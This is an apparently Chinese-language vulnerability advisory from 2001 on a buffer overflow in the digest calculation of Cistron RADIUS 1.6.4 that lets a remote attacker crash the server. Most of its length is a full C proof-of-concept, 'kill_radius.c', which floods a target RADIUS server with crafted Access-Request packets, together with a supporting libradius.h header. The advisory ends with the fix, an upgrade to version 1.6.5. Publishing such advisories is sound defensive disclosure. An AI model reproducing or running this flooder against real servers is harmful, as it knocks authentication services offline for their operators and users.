Cistron RADIUS Digest Calculation 存在缓冲溢出漏洞发布时间:2001-11-16 更新时间:2001-11-22 严重程度:中 威胁程度:远程拒绝服务 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 Miquel van Smoorenburg Cistron Radius 1.6.4详细描述 Cistron 是RADIUS服务器实现,其中在使用计算信息摘要功能时存在缓冲溢出漏洞。 目前还不知道此漏洞是否能用来执行任意代码,但可以导致段错误,导致服务器 崩溃,引起拒绝服务攻击。 其他基于Cistron的RADIUS服务器也可能存在此漏洞。 测试代码 /* * $Id: kill_radius.c,v 1.1.2.3 2001/09/28 17:25:05 3APA3A Exp $ * RADIUS Access Request attribute flooder * (c) 3APA3A http://www.security.nnov.ru */ #include "libradius.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/time.h> #include <unistd.h> #include <netinet/in.h> #include <arpa/inet.h> #include <md5.h> #include <sysexits.h> void librad_md5_calc(unsigned char *output, unsigned char *input, unsigned int inputlen); /* * Return an IP address from * one supplied in standard dot notation. */ uint32_t ip_addr(const char *ip_str) { struct in_addr in; if (inet_aton(ip_str, &in) == 0) return INADDR_NONE; return in.s_addr; } /* * Return an IP address in from a host * name or address in dot notation. */ uint32_t ip_getaddr(const char *host) { struct hostent *hp; uint32_t a; if ((a = ip_addr(host)) != INADDR_NONE) return a; if ((hp = gethostbyname(host)) == NULL) return (uint32_t) INADDR_NONE; /* * Paranoia from a Bind vulnerability. An attacker * can manipulate DNS entries to change the length of the * address. If the length isn't 4, something's wrong. */ if (hp->h_length != sizeof(uint32_t)) { return (uint32_t) INADDR_NONE; } memcpy(&a, hp->h_addr, sizeof(uint32_t)); return a; } /* * Like strncpy, but always adds \0 */ char *strNcpy(char *dest, const char *src, int n) { if (n > 0) strncpy(dest, src, n); else n = 1; dest[n - 1] = 0; return dest; } /* * The RFC says 4096 octets max, and most packets are less than 256. * However, this number is just larger than the maximum MTU of just * most types of networks, except maybe for gigabit ethernet. */ static uint8_t random_vector_pool[AUTH_VECTOR_LEN*2]; /* * Validates the requesting client NAS. Calculates the * signature based on the clients private key. */ #define AUTH_PASS_LEN (16) /* * Create a random vector of AUTH_VECTOR_LEN bytes. */ void random_vector(uint8_t *vector) { int i; static int did_random = 0; static int counter = 0; if (!did_random) { for (i = 0; i < (int)sizeof(random_vector_pool); i++) { random_vector_pool[i] += random() & 0xff; } did_random = 1; } /* * Modify our random pool, based on the counter, * and put the resulting information through MD5, * so it's all mashed together. */ counter++; random_vector_pool[AUTH_VECTOR_LEN] += (counter & 0xff); /* * And do another MD5 hash of the result, to give * the user a random vector. This ensures that the * user has a random vector, without giving them * an exact image of what's in the random pool. */ } static int getport(const char *name) { struct servent *svp; svp = getservbyname (name, "udp"); if (!svp) { return 0; } return ntohs(svp->s_port); } typedef struct radius_packet_t { uint8_t code; uint8_t id; uint16_t length; uint8_t vector[AUTH_VECTOR_LEN]; uint8_t data[4076]; } radius_packet_t; char buf[256]; int radius_send(char* radius, int ntimes, int attr) { int port = 0; int res=0; int sockfd; int total_length; unsigned dst_ipaddr; struct sockaddr_in saremote; struct sockaddr_in *sa; struct timeval tv; fd_set rdfdesc; char vector[AUTH_VECTOR_LEN]; radius_packet_t packet; int salen; int data_len; int count; int i; memset(&packet, 0, sizeof(packet)); port = getport("radius"); if (port == 0) port = PW_AUTH_UDP_PORT; if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) < 0) { return 1; } packet.code = PW_AUTHENTICATION_REQUEST; packet.id=0; total_length = 0; packet.length = htons(total_length); total_length+=(4+AUTH_VECTOR_LEN); packet.length = htons(total_length); memcpy(vector, packet.vector, AUTH_VECTOR_LEN); dst_ipaddr = ip_getaddr(radius); sa = (struct sockaddr_in *) &saremote; memset ((char *) sa, '\0', sizeof (saremote)); sa->sin_family = AF_INET; sa->sin_addr.s_addr = dst_ipaddr; sa->sin_port = htons(port); for (i=20; i<4096;){ packet.data[i++]=attr; packet.data[i++]=2; } for (i=0; i<ntimes; i++){ random_vector(packet.vector); res = sendto(sockfd, &packet, total_length, 0, (struct sockaddr *)&saremote, sizeof(struct sockaddr_in)); if(res != total_length){ return 2; } packet.id++; } return 0; } int main(int argc, char*argv[]){ int result=0; int attr; int ntries; int i; if (argc != 4 || (attr = atoi(argv[2])) == 0 || (ntries = atoi(argv[3])) == 0) { printf ("Usage : %s server attribute count\n", argv[0]); return 1; } return radius_send( argv[1], ntries, attr); } /* *Version: $Id: libradius.h,v 1.1.2.4 2001/10/18 14:56:19 vlad Exp $ */ #ifndef LIBRADIUS_H #define LIBRADIUS_H /* * libradius.h Structures and prototypes * for the radius library. * * Version: $Id: libradius.h,v 1.1.2.4 2001/10/18 14:56:19 vlad Exp $ * */ /* #include "autoconf.h" */ #include <sys/types.h> #include <inttypes.h> #include <errno.h> #include <stdio.h> /* * Check for inclusion of <time.h>, versus <sys/time.h> * Taken verbatim from the autoconf manual. */ #if TIME_WITH_SYS_TIME # include <sys/time.h> # include <time.h> #else # if HAVE_SYS_TIME_H # include <sys/time.h> # else # include <time.h> # endif #endif #include "radius.h" #include "token.h" #ifdef SIZEOF_UNSIGNED_INT #if SIZEOF_UNSIGNED_INT != 4 #error FATAL: sizeof(unsigned int) != 4 #endif #endif # define VENDOR(x) (x >> 16) #define EAP_START 2 #define AUTH_VECTOR_LEN 16 #define CHAP_VALUE_LENGTH 16 #define MAX_STRING_LEN 254 /* RFC2138: string 0-253 octets */ #define PW_AUTH_UDP_PORT 1645 #define PW_ACCT_UDP_PORT 1646 #ifdef _LIBRADIUS # define AUTH_HDR_LEN 20 # define VENDORPEC_USR 429 # define VENDOR(x) (x >> 16) # define DEBUG if (librad_debug) printf # define debug_pair(vp) do { if (librad_debug) { \ putchar('\t'); \ vp_print(stdout, vp); \ putchar('\n'); \ } \ } while(0) #endif typedef struct dict_attr { char name[40]; int attr; int type; int vendor; struct dict_attr *next; } DICT_ATTR; typedef struct dict_value { char name[40]; char attrname[40]; int attr; int value; struct dict_value *next; } DICT_VALUE; typedef struct dict_vendor { char vendorname[40]; int vendorpec; int vendorcode; struct dict_vendor *next; } DICT_VENDOR; typedef struct value_pair { char name[40]; int attribute; int type; int length; /* of strvalue */ uint32_t lvalue; LRAD_TOKEN operator; int addport; uint8_t strvalue[MAX_STRING_LEN]; struct value_pair *next; } VALUE_PAIR; /* * vector: Request authenticator from access-request packet * Put in there by rad_decode, and must be put in the * response RADIUS_PACKET as well before calling rad_send * * verified: Filled in by rad_decode for accounting-request packets * * data,data_len: Used between rad_recv and rad_decode. */ typedef struct radius_packet { int sockfd; uint32_t src_ipaddr; uint32_t dst_ipaddr; u_short src_port; u_short dst_port; int id; int code; uint8_t vector[AUTH_VECTOR_LEN]; time_t timestamp; int verified; uint8_t *data; int data_len; VALUE_PAIR *vps; } RADIUS_PACKET; /* * Printing functions. */ void librad_safeprint(char *in, int inlen, char *out, int outlen); int vp_prints_value(char *out, int outlen, VALUE_PAIR *vp,int delimitst); int vp_prints(char *out, int outlen, VALUE_PAIR *vp); void vp_print(FILE *, VALUE_PAIR *); void vp_printlist(FILE *, VALUE_PAIR *); #define fprint_attr_val vp_print /* * Dictionary functions. */ int dict_addvendor(const char *name, int value); int dict_addattr(const char *name, int vendor, int type, int value); int dict_addvalue(const char *namestr, char *attrstr, int value); int dict_init(const char *dir, const char *fn); DICT_ATTR *dict_attrbyvalue(int attr); DICT_ATTR *dict_attrbyname(const char *attr); DICT_VALUE *dict_valbyattr(int attr, int val); DICT_VALUE *dict_valbyname(int attr, const char *val); int dict_vendorcode(int); int dict_vendorpec(int); int dict_vendorname(const char *name); #if 1 /* FIXME: compat */ #define dict_attrget dict_attrbyvalue #define dict_attrfind dict_attrbyname #define dict_valfind dict_valbyname /*#define dict_valget dict_valbyattr almost but not quite*/ #endif /* md5.c */ void librad_md5_calc(u_char *, u_char *, u_int); /* hmac.c */ void lrad_hmac_md5(const unsigned char *text, int text_len, const unsigned char *key, int key_len, unsigned char *digest); /* radius.c */ int rad_send(RADIUS_PACKET *, const RADIUS_PACKET *, const char *secret); RADIUS_PACKET *rad_recv(int fd); int rad_decode(RADIUS_PACKET *packet, char *original, const char *secret); RADIUS_PACKET *rad_alloc(int newvector); void rad_free(RADIUS_PACKET **); int rad_pwencode(char *encpw, int *len, const char *secret, const char *vector); int rad_pwdecode(char *encpw, int len, const char *secret, const char *vector); int rad_chap_encode(RADIUS_PACKET *packet, char *output, int id, VALUE_PAIR *password); int calc_acctdigest(RADIUS_PACKET *packet, const char *secret, char *data, int len); /* valuepair.c */ VALUE_PAIR *paircreate(int attr, int type); void pairfree(VALUE_PAIR **); VALUE_PAIR *pairfind(VALUE_PAIR *, int); void pairdelete(VALUE_PAIR **, int); void pairadd(VALUE_PAIR **, VALUE_PAIR *); VALUE_PAIR *paircopy(VALUE_PAIR *vp); VALUE_PAIR *paircopy2(VALUE_PAIR *vp, int attr); void pairmove(VALUE_PAIR **to, VALUE_PAIR **from); void pairmove2(VALUE_PAIR **to, VALUE_PAIR **from, int attr); VALUE_PAIR *pairmake(const char *attribute, const char *value, int operator); VALUE_PAIR *pairread(char **ptr, int *eol); LRAD_TOKEN userparse(char *buffer, VALUE_PAIR **first_pair); /* * Error functions. */ #ifdef _LIBRADIUS void librad_log(const char *, ...) #ifdef __GNUC__ __attribute__ ((format (printf, 1, 2))) #endif ; #endif void librad_perror(const char *, ...) #ifdef __GNUC__ __attribute__ ((format (printf, 1, 2))) #endif ; extern char librad_errstr[]; extern int librad_dodns; extern int librad_debug; /* * Several handy miscellaneous functions. */ char * ip_hostname (char *buf, size_t buflen, uint32_t ipaddr); uint32_t ip_getaddr (const char *); char * ip_ntoa(char *, uint32_t); uint32_t ip_addr(const char *); char *strNcpy(char *dest, const char *src, int n); void rad_lowercase(char *str); void rad_rmspace(char *str); void random_vector(uint8_t *vec); #ifdef ASCEND_BINARY /* filters.c */ int filterBinary(VALUE_PAIR *pair, const char *valstr); void print_abinary(VALUE_PAIR *vp, u_char *buffer, int len); #endif /*ASCEND_BINARY*/ #ifdef HAVE_LOCAL_SNPRINTF #include <stdarg.h> int snprintf(char *str, size_t count, const char *fmt, ...); int vsnprintf(char *str, size_t count, const char *fmt, va_list arg); #endif #endif /*LIBRADIUS_H*/ 解决方案 使用1.6.5版本: http://www.radius.cistron.nl/ 相关信息 aland@striker.ottawa.on.ca 参考: http://www.securityfocus.com/archive/1/E163hAK-0006pC-00@giles.striker.ottawa.on.ca 厂商主页:http://www.radius.cistron.nl/ |